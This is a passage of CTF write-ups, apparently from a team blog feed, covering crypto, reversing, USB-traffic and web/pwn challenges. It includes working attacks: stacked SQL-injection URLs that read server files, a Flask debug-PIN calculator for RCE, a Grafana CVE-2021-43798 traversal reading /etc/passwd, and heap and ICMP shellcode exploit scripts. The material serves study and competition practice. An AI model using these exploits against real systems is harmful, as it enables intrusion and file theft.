0x03, 0x1d, 0x26, 0x27, 0x71, 0x21, 0x76, 0x26, 0x24, 0x27, 0x65] lst_ch = 0 for i in range(40): lst_ch = a[i] ^ lst_ch ^ (i + 1) print (chr(lst_ch), end=\u0026#39;\u0026#39;) secreeeeet rabbit 加密\nkey 前 5 字节随机生成，后面 11 字节根据前面 5 字节生成\n最后用 3 个随机字节异或\n已知 flag.png 的文件头，可以爆破得到 key\n直接用网上的 Rabbit 库解密\nimport hashlib from Rabbit import * r = open(\u0026#39;flag.png.enc\u0026#39;, \u0026#39;rb\u0026#39;) message = r.read() start = \u0026#34;0123456789\u0026#34; s = \u0026#34;qscfthnjik\u0026#34; for s1 in s: for s2 in s: for s3 in s: for s4 in s: for s5 in s: key = [ord(s1), ord(s2), ord(s3), ord(s4), ord(s5)] for i in range(11): key.append((key[-1] + key[-2]) \u0026amp; 0xff) for i in range(16): key[i] = key[i].to_bytes(1, \u0026#39;big\u0026#39;) key = b\u0026#39;\u0026#39;.join(key) msg = Rabbit(key, b\u0026#39;\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\u0026#39;).encrypt(message[:8]).encode() for i in start: if ord(i) ^ msg[0] == 0x89: for j in start: if ord(j) ^ msg[1] == 0x50: for k in start: if ord(k) ^ msg[2] == 0x4e: if ord(i) ^ msg[3] == 0x47: msg = Rabbit(key, 0).encrypt(message).encode() ans = b\u0026#39;\u0026#39; for i in range(len(msg)): ans += chr( (msg[i]) ^ key[i % 3]).encode() print(ans) Crypto 签到电台 首先发送一个 s 开启电报，抓包可以看到返回一个 session，再随意发一个字符发现 session 添加到了 cookie 字段中，之后直接发送电码本和掩码的模 10 加结果即可，注意中间是用 J 分隔的，脚本如下\nplaint = \u0026#39;1732251413440356045166710055\u0026#39; mask = \u0026#39;1021723964055826996370726447\u0026#39; msg = \u0026#39;\u0026#39; for i in range(len(plaint)): msg += str((int(plaint[i]) + int(mask[i])) % 10) for i in range(len(msg)): if i % 4 == 0: print(\u0026#39;J\u0026#39;) print(msg[i], end=\u0026#34;\u0026#34;) 基于挑战码的双向认证123 学着 server 的代码填空即可，主要填两个地方，填完发现仨题都能打通\n在 152 行处\nMemset(Buf,0,DIGEST_SIZE*4); Strncpy(Buf,client_state-\u0026gt;key,DIGEST_SIZE); Memcpy(Buf+DIGEST_SIZE,client_state-\u0026gt;nonceA,DIGEST_SIZE); Memcpy(Buf+DIGEST_SIZE*2,client_state-\u0026gt;nonceB,DIGEST_SIZE); calculate_context_sm3(Buf,DIGEST_SIZE*3,Buf+DIGEST_SIZE*3); 在 184 行处\nMemset(Buf,0,DIGEST_SIZE*2); Strncpy(Buf,client_state-\u0026gt;key,DIGEST_SIZE); Memcpy(Buf+DIGEST_SIZE,client_state-\u0026gt;nonceB,DIGEST_SIZE); calculate_context_sm3(Buf,DIGEST_SIZE*2,login_info-\u0026gt;passwd); ISO9798 随意发送 16 字节后拿到 E(r_A||r_B||B)，试了几次发现用的是分组加密的 ECB 模式，直接发送给服务端 E(r_B)||E(r_A) 即可\nMisc 问卷 填问卷，拿 flag\nez_usb 两个键盘的流量，一个是 rar，一个是密码，抓出流量解密拿到 flag\nimport sys import os presses = [] normalKeys = {\u0026#34;04\u0026#34;:\u0026#34;a\u0026#34;, \u0026#34;05\u0026#34;:\u0026#34;b\u0026#34;, \u0026#34;06\u0026#34;:\u0026#34;c\u0026#34;, \u0026#34;07\u0026#34;:\u0026#34;d\u0026#34;, \u0026#34;08\u0026#34;:\u0026#34;e\u0026#34;, \u0026#34;09\u0026#34;:\u0026#34;f\u0026#34;, \u0026#34;0a\u0026#34;:\u0026#34;g\u0026#34;, \u0026#34;0b\u0026#34;:\u0026#34;h\u0026#34;, \u0026#34;0c\u0026#34;:\u0026#34;i\u0026#34;, \u0026#34;0d\u0026#34;:\u0026#34;j\u0026#34;, \u0026#34;0e\u0026#34;:\u0026#34;k\u0026#34;, \u0026#34;0f\u0026#34;:\u0026#34;l\u0026#34;, \u0026#34;10\u0026#34;:\u0026#34;m\u0026#34;, \u0026#34;11\u0026#34;:\u0026#34;n\u0026#34;, \u0026#34;12\u0026#34;:\u0026#34;o\u0026#34;, \u0026#34;13\u0026#34;:\u0026#34;p\u0026#34;, \u0026#34;14\u0026#34;:\u0026#34;q\u0026#34;, \u0026#34;15\u0026#34;:\u0026#34;r\u0026#34;, \u0026#34;16\u0026#34;:\u0026#34;s\u0026#34;, \u0026#34;17\u0026#34;:\u0026#34;t\u0026#34;, \u0026#34;18\u0026#34;:\u0026#34;u\u0026#34;, \u0026#34;19\u0026#34;:\u0026#34;v\u0026#34;, \u0026#34;1a\u0026#34;:\u0026#34;w\u0026#34;, \u0026#34;1b\u0026#34;:\u0026#34;x\u0026#34;, \u0026#34;1c\u0026#34;:\u0026#34;y\u0026#34;, \u0026#34;1d\u0026#34;:\u0026#34;z\u0026#34;,\u0026#34;1e\u0026#34;:\u0026#34;1\u0026#34;, \u0026#34;1f\u0026#34;:\u0026#34;2\u0026#34;, \u0026#34;20\u0026#34;:\u0026#34;3\u0026#34;, \u0026#34;21\u0026#34;:\u0026#34;4\u0026#34;, \u0026#34;22\u0026#34;:\u0026#34;5\u0026#34;, \u0026#34;23\u0026#34;:\u0026#34;6\u0026#34;,\u0026#34;24\u0026#34;:\u0026#34;7\u0026#34;,\u0026#34;25\u0026#34;:\u0026#34;8\u0026#34;,\u0026#34;26\u0026#34;:\u0026#34;9\u0026#34;,\u0026#34;27\u0026#34;:\u0026#34;0\u0026#34;,\u0026#34;28\u0026#34;:\u0026#34;\u0026lt;RET\u0026gt;\u0026#34;,\u0026#34;29\u0026#34;:\u0026#34;\u0026lt;ESC\u0026gt;\u0026#34;,\u0026#34;2a\u0026#34;:\u0026#34;\u0026lt;DEL\u0026gt;\u0026#34;, \u0026#34;2b\u0026#34;:\u0026#34;\\t\u0026#34;,\u0026#34;2c\u0026#34;:\u0026#34;\u0026lt;SPACE\u0026gt;\u0026#34;,\u0026#34;2d\u0026#34;:\u0026#34;-\u0026#34;,\u0026#34;2e\u0026#34;:\u0026#34;=\u0026#34;,\u0026#34;2f\u0026#34;:\u0026#34;[\u0026#34;,\u0026#34;30\u0026#34;:\u0026#34;]\u0026#34;,\u0026#34;31\u0026#34;:\u0026#34;\\\\\u0026#34;,\u0026#34;32\u0026#34;:\u0026#34;\u0026lt;NON\u0026gt;\u0026#34;,\u0026#34;33\u0026#34;:\u0026#34;;\u0026#34;,\u0026#34;34\u0026#34;:\u0026#34;\u0026#39;\u0026#34;,\u0026#34;35\u0026#34;:\u0026#34;\u0026lt;GA\u0026gt;\u0026#34;,\u0026#34;36\u0026#34;:\u0026#34;,\u0026#34;,\u0026#34;37\u0026#34;:\u0026#34;.\u0026#34;,\u0026#34;38\u0026#34;:\u0026#34;/\u0026#34;,\u0026#34;39\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;3a\u0026#34;:\u0026#34;\u0026lt;F1\u0026gt;\u0026#34;,\u0026#34;3b\u0026#34;:\u0026#34;\u0026lt;F2\u0026gt;\u0026#34;, \u0026#34;3c\u0026#34;:\u0026#34;\u0026lt;F3\u0026gt;\u0026#34;,\u0026#34;3d\u0026#34;:\u0026#34;\u0026lt;F4\u0026gt;\u0026#34;,\u0026#34;3e\u0026#34;:\u0026#34;\u0026lt;F5\u0026gt;\u0026#34;,\u0026#34;3f\u0026#34;:\u0026#34;\u0026lt;F6\u0026gt;\u0026#34;,\u0026#34;40\u0026#34;:\u0026#34;\u0026lt;F7\u0026gt;\u0026#34;,\u0026#34;41\u0026#34;:\u0026#34;\u0026lt;F8\u0026gt;\u0026#34;,\u0026#34;42\u0026#34;:\u0026#34;\u0026lt;F9\u0026gt;\u0026#34;,\u0026#34;43\u0026#34;:\u0026#34;\u0026lt;F10\u0026gt;\u0026#34;,\u0026#34;44\u0026#34;:\u0026#34;\u0026lt;F11\u0026gt;\u0026#34;,\u0026#34;45\u0026#34;:\u0026#34;\u0026lt;F12\u0026gt;\u0026#34;} shiftKeys = {\u0026#34;04\u0026#34;:\u0026#34;A\u0026#34;, \u0026#34;05\u0026#34;:\u0026#34;B\u0026#34;, \u0026#34;06\u0026#34;:\u0026#34;C\u0026#34;, \u0026#34;07\u0026#34;:\u0026#34;D\u0026#34;, \u0026#34;08\u0026#34;:\u0026#34;E\u0026#34;, \u0026#34;09\u0026#34;:\u0026#34;F\u0026#34;, \u0026#34;0a\u0026#34;:\u0026#34;G\u0026#34;, \u0026#34;0b\u0026#34;:\u0026#34;H\u0026#34;, \u0026#34;0c\u0026#34;:\u0026#34;I\u0026#34;, \u0026#34;0d\u0026#34;:\u0026#34;J\u0026#34;, \u0026#34;0e\u0026#34;:\u0026#34;K\u0026#34;, \u0026#34;0f\u0026#34;:\u0026#34;L\u0026#34;, \u0026#34;10\u0026#34;:\u0026#34;M\u0026#34;, \u0026#34;11\u0026#34;:\u0026#34;N\u0026#34;, \u0026#34;12\u0026#34;:\u0026#34;O\u0026#34;, \u0026#34;13\u0026#34;:\u0026#34;P\u0026#34;, \u0026#34;14\u0026#34;:\u0026#34;Q\u0026#34;, \u0026#34;15\u0026#34;:\u0026#34;R\u0026#34;, \u0026#34;16\u0026#34;:\u0026#34;S\u0026#34;, \u0026#34;17\u0026#34;:\u0026#34;T\u0026#34;, \u0026#34;18\u0026#34;:\u0026#34;U\u0026#34;, \u0026#34;19\u0026#34;:\u0026#34;V\u0026#34;, \u0026#34;1a\u0026#34;:\u0026#34;W\u0026#34;, \u0026#34;1b\u0026#34;:\u0026#34;X\u0026#34;, \u0026#34;1c\u0026#34;:\u0026#34;Y\u0026#34;, \u0026#34;1d\u0026#34;:\u0026#34;Z\u0026#34;,\u0026#34;1e\u0026#34;:\u0026#34;!\u0026#34;, \u0026#34;1f\u0026#34;:\u0026#34;@\u0026#34;, \u0026#34;20\u0026#34;:\u0026#34;#\u0026#34;, \u0026#34;21\u0026#34;:\u0026#34;$\u0026#34;, \u0026#34;22\u0026#34;:\u0026#34;%\u0026#34;, \u0026#34;23\u0026#34;:\u0026#34;^\u0026#34;,\u0026#34;24\u0026#34;:\u0026#34;\u0026amp;\u0026#34;,\u0026#34;25\u0026#34;:\u0026#34;*\u0026#34;,\u0026#34;26\u0026#34;:\u0026#34;(\u0026#34;,\u0026#34;27\u0026#34;:\u0026#34;)\u0026#34;,\u0026#34;28\u0026#34;:\u0026#34;\u0026lt;RET\u0026gt;\u0026#34;,\u0026#34;29\u0026#34;:\u0026#34;\u0026lt;ESC\u0026gt;\u0026#34;,\u0026#34;2a\u0026#34;:\u0026#34;\u0026lt;DEL\u0026gt;\u0026#34;, \u0026#34;2b\u0026#34;:\u0026#34;\\t\u0026#34;,\u0026#34;2c\u0026#34;:\u0026#34;\u0026lt;SPACE\u0026gt;\u0026#34;,\u0026#34;2d\u0026#34;:\u0026#34;_\u0026#34;,\u0026#34;2e\u0026#34;:\u0026#34;+\u0026#34;,\u0026#34;2f\u0026#34;:\u0026#34;{\u0026#34;,\u0026#34;30\u0026#34;:\u0026#34;}\u0026#34;,\u0026#34;31\u0026#34;:\u0026#34;|\u0026#34;,\u0026#34;32\u0026#34;:\u0026#34;\u0026lt;NON\u0026gt;\u0026#34;,\u0026#34;33\u0026#34;:\u0026#34;\\\u0026#34;\u0026#34;,\u0026#34;34\u0026#34;:\u0026#34;:\u0026#34;,\u0026#34;35\u0026#34;:\u0026#34;\u0026lt;GA\u0026gt;\u0026#34;,\u0026#34;36\u0026#34;:\u0026#34;\u0026lt;\u0026#34;,\u0026#34;37\u0026#34;:\u0026#34;\u0026gt;\u0026#34;,\u0026#34;38\u0026#34;:\u0026#34;?\u0026#34;,\u0026#34;39\u0026#34;:\u0026#34;\u0026lt;CAP\u0026gt;\u0026#34;,\u0026#34;3a\u0026#34;:\u0026#34;\u0026lt;F1\u0026gt;\u0026#34;,\u0026#34;3b\u0026#34;:\u0026#34;\u0026lt;F2\u0026gt;\u0026#34;, \u0026#34;3c\u0026#34;:\u0026#34;\u0026lt;F3\u0026gt;\u0026#34;,\u0026#34;3d\u0026#34;:\u0026#34;\u0026lt;F4\u0026gt;\u0026#34;,\u0026#34;3e\u0026#34;:\u0026#34;\u0026lt;F5\u0026gt;\u0026#34;,\u0026#34;3f\u0026#34;:\u0026#34;\u0026lt;F6\u0026gt;\u0026#34;,\u0026#34;40\u0026#34;:\u0026#34;\u0026lt;F7\u0026gt;\u0026#34;,\u0026#34;41\u0026#34;:\u0026#34;\u0026lt;F8\u0026gt;\u0026#34;,\u0026#34;42\u0026#34;:\u0026#34;\u0026lt;F9\u0026gt;\u0026#34;,\u0026#34;43\u0026#34;:\u0026#34;\u0026lt;F10\u0026gt;\u0026#34;,\u0026#34;44\u0026#34;:\u0026#34;\u0026lt;F11\u0026gt;\u0026#34;,\u0026#34;45\u0026#34;:\u0026#34;\u0026lt;F12\u0026gt;\u0026#34;} # tshark -r ez_usb.pcapng -T fields -e usb.capdata -Y \u0026#34;usb.device_address==8\u0026#34; | sed \u0026#39;/^\\s*$/d\u0026#39; \u0026gt; usb1.dat with open(\u0026#34;usb1.dat\u0026#34;, \u0026#34;r\u0026#34;) as f: for line in f: presses.append(line[0:-1]) result = \u0026#34;\u0026#34; for press in presses: if press == \u0026#39;\u0026#39;: continue if \u0026#39;:\u0026#39; in press: Bytes = press.split(\u0026#34;:\u0026#34;) else: Bytes = [press[i:i+2] for i in range(0, len(press), 2)] if Bytes[0] == \u0026#34;00\u0026#34;: if Bytes[2] != \u0026#34;00\u0026#34; and normalKeys.get(Bytes[2]): result += normalKeys[Bytes[2]] elif int(Bytes[0],16) \u0026amp; 0b10 or int(Bytes[0],16) \u0026amp; 0b100000: # shift key is pressed. if Bytes[2] != \u0026#34;00\u0026#34; and normalKeys.get(Bytes[2]): result += shiftKeys[Bytes[2]] else: print(\u0026#34;Unknow Key : %s\u0026#34; % (Bytes[0])) print(\u0026#34;got : %s\u0026#34; % (result)) ","date":"2022-06-01T17:17:17+08:00","image":"https://or4ngesec.github.io/post/ciscn-2022-writeup-by-or4nge/cover_hua298b546d0b49e7ca84fa027f7c430e6_662553_120x120_fill_q75_box_smart1.jpg","permalink":"https://or4ngesec.github.io/post/ciscn-2022-writeup-by-or4nge/","title":"CISCN2022 初赛 Writeup by or4nge"},{"content":"Web oh-my-notepro debug 模式为开，随便试一试即可触发报错，note_id 处存在注入，使用 load data local infile 'xx' into table xx 可以读文件。\n创建临时表：\nhttp://123.60.72.85:5002/view?note_id=\u0026#39; union select 1,2,3,4,5;create table otable(data varchar(10000));--+ 把文件写入表中：\nhttp://123.60.72.85:5002/view?note_id=\u0026#39; union select 1,2,3,4,5;load data local infile \u0026#34;/app/app.py\u0026#34; into table otable;--+ 读取数据：\nhttp://123.60.72.85:5002/view?note_id=\u0026#39; union select 1,2,3,(select group_concat(data, \u0026#39;\\n\u0026#39;) from (select data from otable limit 0,50)x),5;--+ debug模式为开，考虑计算flask debug pin，exp如下：\nimport hashlib from itertools import chain def get_machine_id(): machine_id = \u0026#39;1cc402dd0e11d5ae18db04a6de87223d\u0026#39; # /etc/machine-id boot_id = \u0026#39;\u0026#39; # /proc/sys/kernel/random/boot_id cgroup = \u0026#39;4b13f9ab9776ea7cf70e6ab9b3a06f5987e0d7b73fe5703ecf8e1d06018ebc71\u0026#39; # /proc/1/cgroup linux = machine_id + boot_id + cgroup return linux rv = None num = None mac = \u0026#39;02:42:ac:1c:00:03\u0026#39;# /sys/class/net/eth0/address probably_public_bits = [ \u0026#39;ctf\u0026#39;,# username \u0026#39;flask.app\u0026#39;,# modname \u0026#39;Flask\u0026#39;,# getattr(app, \u0026#39;__name__\u0026#39;, getattr(app.__class__, \u0026#39;__name__\u0026#39;)) \u0026#39;/usr/local/lib/python3.8/site-packages/flask/app.py\u0026#39; # getattr(mod, \u0026#39;__file__\u0026#39;, None), ] private_bits = [ str(int(mac.replace(\u0026#39;:\u0026#39;,\u0026#39;\u0026#39;), 16)), get_machine_id() ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode(\u0026#34;utf-8\u0026#34;) h.update(bit) h.update(b\u0026#34;cookiesalt\u0026#34;) cookie_name = f\u0026#34;__wzd{h.hexdigest()[:20]}\u0026#34; # If we need to generate a pin we salt it a bit more so that we don\u0026#39;t # end up with the same value and generate out 9 digits if num is None: h.update(b\u0026#34;pinsalt\u0026#34;) num = f\u0026#34;{int(h.hexdigest(), 16):09d}\u0026#34;[:9] # Format the pincode in groups of digits for easier remembering if # we don\u0026#39;t have a result yet. if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = \u0026#34;-\u0026#34;.join( num[x : x + group_size].rjust(group_size, \u0026#34;0\u0026#34;) for x in range(0, len(num), group_size) ) break else: rv = num print(rv) 算出pin，访问/console即可rce。\noh-my-lotto 将环境变量PATH设置为空即可跳过wget命令。第一次正常访问/lotto，然后访问/result获取结果，然后上传至/forecast，然后再次访问/lotto，提供环境变量PATH为空，即可使forecast与result相同，获得flag。\noh-my-grafana cve-2021-43798任意文件读：GET /public/plugins/welcome/../../../../../../../../etc/passwd HTTP/1.1\n读到了配置文件：/public/plugins/welcome/../../../../../../../..//etc/grafana/grafana.ini\n发现唯一生效的配置文件就是 adminpassword\nadmin_user = admin\nadmin_password = 5f989714e132c9b04d4807dafeb10ade\n看上去是个md5，但是实际上就是密码（在非隔离环境下需要多登录几次）\n登进去后有个mysql服务，可以任意查询语句，趁着一堆人直接上车 select * from fffffflllllllllaaaagggggg\nPwn examination leak，任意地址添加 1 更改 len，堆溢出\nfrom pwn import * import sys context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./examination\u0026#34;) # p = remote(\u0026#34;124.70.130.92\u0026#34;, 60001) libc = ELF(\u0026#34;./libc-2.31.so\u0026#34;) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) elf = ELF(\u0026#39;./examination\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) heap_base = 0 def menu(i): sla(b\u0026#34;choice\u0026gt;\u0026gt; \u0026#34;, str(i)) def add_student(q): menu(1) sla(b\u0026#34;questions:\u0026#34;, str(q)) def give_score(): menu(2) def write_view(i, size, content, flag): menu(3) sla(\u0026#34;which one? \u0026gt;\u0026#34;, str(i)) if flag != 1: sla(\u0026#34;please input the size of comment: \u0026#34;, str(size)) sa(\u0026#34;enter your comment:\u0026#34;, content) def free(i): menu(4) sla(\u0026#34;choose?\u0026#34;, str(i)) def change_role(i): menu(5) sla(\u0026#34;role: \u0026lt;0.teacher/1.student\u0026gt;:\u0026#34;, str(i)) def pray(): menu(3) def check_view(): menu(2) def reward(): menu(2) ru(\u0026#34;reward! \u0026#34;) base = ru(b\u0026#34;\\n\u0026#34;)[:-1] global heap_base heap_base = int(base, 16) - 0x2a0 print(hex(heap_base)) sla(\u0026#34;addr: \u0026#34;, str(heap_base+0x2e0+1).encode() + b\u0026#34;\\x00\u0026#34;) def set_mode(i): menu(4) sla(\u0026#34;100\u0026#34;, str(i)) def change_id(i): menu(6) sla(\u0026#34;id:\u0026#34;, str(i)) sl(\u0026#34;0\u0026#34;) add_student(1) change_role(1) pray() change_role(0) give_score() write_view(0, 0x18, b\u0026#34;a\u0026#34;*0x10, 0) change_role(1) reward() change_role(0) add_student(1) payload1 = b\u0026#34;a\u0026#34;*0x18+p64(0x31) + p64(heap_base + 0x340) + p64(0)*4 + p64(0x21) + p32(1) + p32(0x41) + p64(heap_base+0x10) + p64(0x2a0+0x120) write_view(0,0x118 ,payload1, 1) write_view(1, 0x118, p16(0x7)*0x10, 1) add_student(2) write_view(2,0x100, b\u0026#34;a\u0026#34;*0x20, 0) add_student(3) write_view(3,0x8, b\u0026#34;/bin/sh\\x00\u0026#34;, 0) free(2) change_role(1) change_id(1) menu(2) ru(\u0026#34;review:\u0026#34;) rv(0x3a1) libc.address = u64(p.recv(6).ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;__malloc_hook\u0026#34;] - 0x10 - 96 print(hex(libc.address)) change_role(0) payload2 = b\u0026#34;a\u0026#34;*0x18+p64(0x31) + p64(heap_base + 0x340) + p64(0)*4 + p64(0x21) + p32(1) + p32(0x41) + p64(libc.sym[\u0026#34;__free_hook\u0026#34;]) + p64(0x2a0+0x120) write_view(0,0x118, payload2, 1) write_view(1,0x118, p64(libc.sym[\u0026#34;system\u0026#34;]), 1) gdb.attach(p) # free(3) p.interactive() ping from scapy.all import * from pwn import * context.arch = \u0026#39;i386\u0026#39; res = b\u0026#39;\u0026#39; def pwn(num,idx): global res payload1 = asm(shellcraft.memcpy(0x10c2aa,0x350000+idx,1)) payload1 += asm(\u0026#39;\u0026#39;\u0026#39; mov eax, 0x0010014b jmp eax \u0026#39;\u0026#39;\u0026#39;) payload =p8(num)+ b\u0026#39;\\x90\u0026#39;*(484-1-len(payload1))+payload1 payload +=p32(0x10c280) + p32(0x0010c8ac)+p32(0x00000023)+p32(0x0010a6b4)+p32(0x0010a6b4)+p32(0x10c2aa+50)+p32(0x0010c8ac)+p32(0x00000212)+p32(0x0010c280)+p32(0x0010c878)+p32(0)+p32(0x00010000)+p32(0)+p32(0x00107974)+p32(0x00010000)+p32(0x2badb002)+p32(0)*5 b = IP(dst=\u0026#39;20.239.70.121\u0026#39;, len=596)/ICMP()/payload b = IP(raw(b)) checksum_scapy = b[ICMP].chksum b = IP(dst=\u0026#39;20.239.70.121\u0026#39;, len=596)/ICMP(chksum=checksum_scapy )/payload ping = sr1(b, timeout=0.5) if ping: res+=p8(num) print(res) return num return 0 for idx in range(6,24): for num in range(0x21,0x7f): print(num,idx) if pwn(num,idx): break print(res) Re Simple File System 输入plantflag可以植入flag文件的某种翻译方式到某个块里\n把所有可打印字符放进flag文件，就可以得到翻译的字典\n在image.flag文件里找*CTF翻译后的前缀，就有整个flag了\nJump 在sub_402689运行了 sub_4119F0(qword_4C9400, (__int64)\u0026quot;%c%s%c\u0026quot;, 2LL, (const char *)dword_4C9620, 3LL); 后下硬件断点，发现生成了以所有位置为起始的字符串。\n随后这些字符串传入 sub_401F62，进行快排。\n最后在 sub_402826 中以排序后的所有字符串的最后一位构成密文，并与目标比较\n因此可以得知target中每个字符的后一个字符是顺序排列的\ntarget = \u0026#39;\\x03jmGn_=uaSZLvN4wFxE6R+p\\x02D2qV1CBTck\u0026#39; sorttar = list(target) sorttar.sort() flag = [\u0026#39;\\x03\u0026#39;] for _ in range(0x21): c = flag[0] flag = [target[sorttar.index(c)]] + flag print (\u0026#39;\u0026#39;.join(flag[1:-1])) NaCl 一个 feistal 结构的8字节分组密码，一个 xtea 密码\n整体循环分为 4 次，每次处理 8 字节\n先进行密钥扩展，这一步每次都要进，但仅第一次执行\n随后进行 feistal 的加密，加密之后进行 xtea 加密，xtea的循环次数取决于大循环的次数\n解密脚本\nfrom libnum import * def xtea_decrypt(v, i): \u0026#39;\u0026#39;\u0026#39;v: list\u0026#39;\u0026#39;\u0026#39; key = [0x3020100, 0x7060504, 0xB0A0908, 0xF0E0D0C] v0, v1 = v delta = 0x10325476 sum=(delta * (1 \u0026lt;\u0026lt; i)) \u0026amp; 0xffffffff for _ in range(1 \u0026lt;\u0026lt; i): v1 -= (((v0 \u0026lt;\u0026lt; 4) ^ (v0 \u0026gt;\u0026gt; 5)) + v0) ^ (sum + key[(sum\u0026gt;\u0026gt;11) \u0026amp; 3]) v1 \u0026amp;= 0xffffffff sum -= delta sum \u0026amp;= 0xffffffff v0 -= (((v1 \u0026lt;\u0026lt; 4) ^ (v1 \u0026gt;\u0026gt; 5)) + v1) ^ (sum + key[sum \u0026amp; 3]) v0 \u0026amp;= 0xffffffff return [v0, v1] def rol(x, i): return ((x \u0026lt;\u0026lt; i) | (x \u0026gt;\u0026gt; (32 - i))) \u0026amp; 0xffffffff key = [ 0x4050607, 0x10203, 0x0C0D0E0F, 0x8090A0B, 0x0CD3FE81B, 0x0D7C45477, 0x9F3E9236, 0x107F187, 0x0F993CB81, 0x0BF74166C, 0x0DA198427, 0x1A05ABFF, 0x9307E5E4, 0x0CB8B0E45, 0x306DF7F5, 0x0AD300197, 0x0AA86B056, 0x449263BA, 0x3FA4401B, 0x1E41F917, 0x0C6CB1E7D, 0x18EB0D7A, 0x0D4EC4800, 0x0B486F92B, 0x8737F9F3, 0x765E3D25, 0x0DB3D3537, 0x0EE44552B, 0x11D0C94C, 0x9B605BCB, 0x903B98B3, 0x24C2EEA3, 0x896E10A2, 0x2247F0C0, 0x0B84E5CAA, 0x8D2C04F0, 0x3BC7842C, 0x1A50D606, 0x49A1917C, 0x7E1CB50C, 0x0FC27B826, 0x5FDDDFBC, 0x0DE0FC404, 0xB2B30907 ] cipher = [ 0xFDF5C266, 0x7A328286, 0xCE944004, 0x5DE08ADC, 0xA6E4BD0A, 0x16CAADDC, 0x13CD6F0C, 0x1A75D936, ] for i in range(0, 4): l, r = xtea_decrypt(cipher[2*i:2*i+2], i+1) for j in range(44): l, r = r, l l ^= (rol(r, 1) \u0026amp; rol(r, 8)) ^ rol(r, 2) ^ key[43 - j] l, r = r, l print (n2s(l).decode() + n2s(r).decode(), end=\u0026#39;\u0026#39;) Crypto ezRSA q的前124位能求出来，然后第300-900位可以通过移比特确定（看下面代码，思路跟zer0pts那个anti很像），最后300位直接copper\n不知道为啥，本地测试了一下，下面这个脚本只能爆出450-900位的，第300-450有点小问题，但是总共只有450bit不确定，还是能直接copper，直接就出了\nfrom Crypto.Util.number import long_to_bytes import gmpy2 n = 0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3 c = 0xd7f6c90512bc9494370c3955ff3136bb245a6d1095e43d8636f66f11db525f2063b14b2a4363a96e6eb1bea1e9b2cc62b0cae7659f18f2b8e41fca557281a1e859e8e6b35bd114655b6bf5e454753653309a794fa52ff2e79433ca4bbeb1ab9a78ec49f49ebee2636abd9dd9b80306ae1b87a86c8012211bda88e6e14c58805feb6721a01481d1a7031eb3333375a81858ff3b58d8837c188ffcb982a631e1a7a603b947a6984bd78516c71cfc737aaba479688d56df2c0952deaf496a4eb3f603a46a90efbe9e82a6aef8cfb23e5fcb938c9049b227b7f15c878bd99b61b6c56db7dfff43cd457429d5dcdb5fe314f1cdf317d0c5202bad6a9770076e9b25b1 hight_124 = int(bin(gmpy2.iroot(n, 2)[0])[2:][:124], 2) p = ((hight_124 \u0026lt;\u0026lt; 900) ^ (1\u0026lt;\u0026lt;900)-1) ^ ((1\u0026lt;\u0026lt;300)-1) q = (hight_124 \u0026lt;\u0026lt; 900) for i in range(898, 299, -1): cur = 1\u0026lt;\u0026lt;i if (p^cur) * (q^cur) \u0026lt; n: p ^= cur q ^= cur print(p \u0026gt;\u0026gt; 450) #Sage from sage.all import * n = 0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3 p4 = 58804727289972133098258523381187273579708165828871631637667339400276723145699294300854967408059394786721660574269169740095474486979958553835424583960343801193657276948482959 e = 65537 pbits = 1024 kbits = pbits - p4.nbits() print(p4.nbits()) p4 = p4 \u0026lt;\u0026lt; kbits PR.\u0026lt;x\u0026gt; = PolynomialRing(Zmod(n)) f = x + p4 roots = f.small_roots(X=2^kbits, beta=0.4) #经过以上一些函数处理后，n和p已经被转化为10进制 if roots: p = p4+int(roots[0]) print(\u0026#34;n: \u0026#34;+str(n)) print(\u0026#34;p: \u0026#34;+str(p)) print(\u0026#34;q: \u0026#34;+str(n//p)) Patches2 from pwn import * import hashlib C0 = \u0026#39;C0\u0026#39; C1 = \u0026#39;C1\u0026#39; C2 = \u0026#39;C2\u0026#39; C3 = \u0026#39;C3\u0026#39; C4 = \u0026#39;C4\u0026#39; C5 = \u0026#39;C5\u0026#39; C6 = \u0026#39;C6\u0026#39; def GFDiv(x, z): mod = 0 while x.bit_length() \u0026gt;= z.bit_length(): bitLack = x.bit_length() - z.bit_length() x = x ^ (z \u0026lt;\u0026lt; bitLack) mod = mod ^ (1 \u0026lt;\u0026lt; bitLack) return mod, x def GFMul(x, z): i = 0 res = 0 while z != 0: if z \u0026amp; 1: res = res ^ (x \u0026lt;\u0026lt; i) i += 1 z = 